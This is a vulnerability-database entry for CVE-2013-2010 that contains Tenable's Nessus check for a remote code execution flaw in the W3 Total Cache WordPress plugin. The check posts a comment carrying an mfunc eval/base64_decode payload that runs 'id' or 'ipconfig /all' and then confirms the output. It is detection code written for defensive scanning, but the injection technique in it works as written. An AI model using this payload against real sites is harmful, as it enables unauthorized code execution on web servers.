Vulnerabilities > CVE-2013-2010 - Injection vulnerability in multiple products

• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-2010
• http://wordpress.org/support/topic/pwn3d
• http://www.acunetix.com/blog/web-security-zone/wp-plugins-remote-code-execution/

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(66304);
  script_version("1.13");
  script_cvs_date("Date: 2019/11/27");

  script_cve_id("CVE-2013-2010");
  script_bugtraq_id(59316);

  script_name(english:"W3 Total Cache Plugin for WordPress Multiple Insecure PHP Code Inclusion Macros Remote Code Execution");
  script_summary(english:"Attempts to execute arbitrary code.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is affected by a
remote PHP code injection vulnerability.");
  script_set_attribute(attribute:"description", value:
"The W3 Total Cache Plugin for WordPress installed on the remote host
is affected by a remote PHP code execution vulnerability due to a
failure to properly sanitize user-supplied input. An unauthenticated,
remote attacker can submit a comment to a WordPress blog containing
arbitrary PHP code. The blog comments can contain dynamic content that
is ignored by the WordPress core, but when the cached version of the
page is loaded, the code left in the comment will execute. This allow
the attacker to execute arbitrary code, subject to the privileges of
the web server user id.

Note that as this plugin will post comments to the site, it is
recommended that the comments are removed from within the WordPress
admin panel.");
  script_set_attribute(attribute:"see_also", value:"https://wordpress.org/support/topic/pwn3d/");
  # http://blog.futtta.be/2013/04/18/wp-caching-plugin-vulnerability-debrief/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?30117468");
  script_set_attribute(attribute:"see_also", value:"https://wordpress.org/plugins/w3-total-cache/#changelog");
  script_set_attribute(attribute:"solution", value:
"Upgrade to version 0.9.2.9 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"W3 Total Cache Plugin Remote Code Execution");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'WordPress W3 Total Cache PHP Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2013/03/21");
  script_set_attribute(attribute:"patch_publication_date", value:"2013/04/17");
  script_set_attribute(attribute:"plugin_publication_date", value:"2013/05/03");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:wordpress:wordpress");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2013-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("wordpress_detect.nasl", "wordpress_w3_total_cache_info_disclosure.nasl");
  script_require_keys("installed_sw/WordPress", "www/PHP");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

app = "WordPress";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:80, php:TRUE);

install = get_single_install(
  app_name : app,
  port     : port
);

dir = install['path'];
install_url = build_url(port:port, qs:dir);

plugin = "W3 Total Cache";

# Check KB first
get_kb_item_or_exit("www/"+port+"/webapp_ext/"+plugin+" under "+dir);

vuln = FALSE;

res2 = http_send_recv3(
  method       : "GET",
  item         : dir + "/feed/",
  port         : port,
  exit_on_fail : TRUE,
  follow_redirect : 1
);

# Grab a URL to a page with comments
# Set a default page ID if we don't find one from the RSS feed
page_id = "1";
page = eregmatch(pattern:'<guid isPermaLink="false">(.+)</guid>', string:res2[2]);
if (!isnull(page))
{
  get_id = eregmatch(pattern:'\\?p=([0-9]+)', string:page[1]);
  if (!isnull(get_id))
  {
    page_id = get_id[1];
  }
}

# Determine which command to execute on target host
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os) cmd = 'ipconfig /all';
  else cmd = 'id';

  cmds = make_list(cmd);
}
else cmds = make_list('id', 'ipconfig /all');

cmd_pats = make_array();
cmd_pats['id'] = "uid=[0-9]+.*gid=[0-9]+.*";
cmd_pats['ipconfig /all'] = "Subnet Mask";

# Variables used in the foreach loop
time = unixtime();
script  = SCRIPT_NAME - ".nasl" + "-" + time + " : ";
user = "Nessus-" + time;
page_url = "/?p=" + page_id + "#comments";

foreach cmd (cmds)
{
  b64_cmd = base64(str:"system('"+cmd+"');");
  # Remove the = character from the base64 encoded string as this will
  # cause a 500 error when requesting the page with our comment
  if ("=" >< b64_cmd)
  {
    b64_cmd = str_replace(string:b64_cmd, find:"=", replace:"");
  }

  attack = script +
    "<!--mfunc eval(base64_decode(" +b64_cmd+ ")); --><!--/mfunc-->";

  payload = "author="+user+"&email="+user+"%40localhost.local&url=&comment=" +
    attack + "&submit=Post+Comment&comment_post_ID=" + page_id +
    "&comment_parent=0";

  res3 = http_send_recv3(
    method : "POST",
    item   : dir + "/wp-comments-post.php",
    port   : port,
    data   : payload,
    add_headers  : make_array(
      "Content-Type","application/x-www-form-urlencoded"),
    exit_on_fail : TRUE
  );

  if ("<p>Sorry, you must be logged in to post a comment." >< res3[2])
  {
    exit(0, "Nessus was unable to test for this issue as authentication " +
      "is required in order to post comments on the page at " +
      install_url + page_url +"."
    );
  }
  else if ("<p>Sorry, comments are closed for this item" >< res3[2])
  {
    exit(0, "Nessus was unable to test for this issue as comments are not " +
      "currently allowed on the page at " + install_url + page_url + "."
    );
  }
  else
  {
    attack_request = http_last_sent_request();
  }

  # Check for our comment
  res4 = http_send_recv3(
    method : "GET",
    item   : dir + page_url,
    port   : port,
    exit_on_fail    : TRUE,
    follow_redirect : 1
  );
  # If comment moderation is on, you need to cookie from the request in order
  # to see the output when manually testing this from the report output.
  verify_output = http_last_sent_request();

  if(
    (script >< res4[2]) &&
    (egrep(pattern:cmd_pats[cmd], string:res4[2]))
  )
  {
    vuln = TRUE;
    output = strstr(res4[2], script);
    if (cmd == 'id')
    {
      out = strstr(output, "uid");
      pos = stridx(out, "</p>");
      output = substr(out, 0, pos-1);
    }
    else
    {
      out = strstr(output, "Windows IP");
      pos = stridx(out, "</p>");
      output = substr(out, 0, pos-1);
    }
    break;
  }
  # Prevent errors from posting comments too quickly
  sleep(15);
}

if (!vuln)
  audit(AUDIT_WEB_APP_EXT_NOT_AFFECTED, app, install_url, plugin + " plugin");

if (report_verbosity > 0)
{
  snip = crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30);
  report =
    '\n' + "Nessus was able to execute the command '" +cmd+"' on the remote" +
    '\n' + "host by submitting a comment using the following request :" +
    '\n' +
    '\n' + attack_request +
    '\n' +
    '\n' + "The following request was used to verify the expected output." +
    '\n' + "Note that in cases where comment moderation is enabled, the" +
    '\n' + "cookie value from the request below is needed in order to view" +
    '\n' + "and verify the results in the HTML page source :" +
    '\n' +
    '\n' + verify_output +
    '\n' +
    '\n';
  if (report_verbosity > 1)
  {
    report +=
      '\n' + 'This produced the following output :' +
      '\n' +
      '\n' + snip +
      '\n' + data_protection::sanitize_uid(output:chomp(output)) +
      '\n' + snip +
      '\n';
  }
  security_hole(port:port, extra:report);
}
else security_hole(port);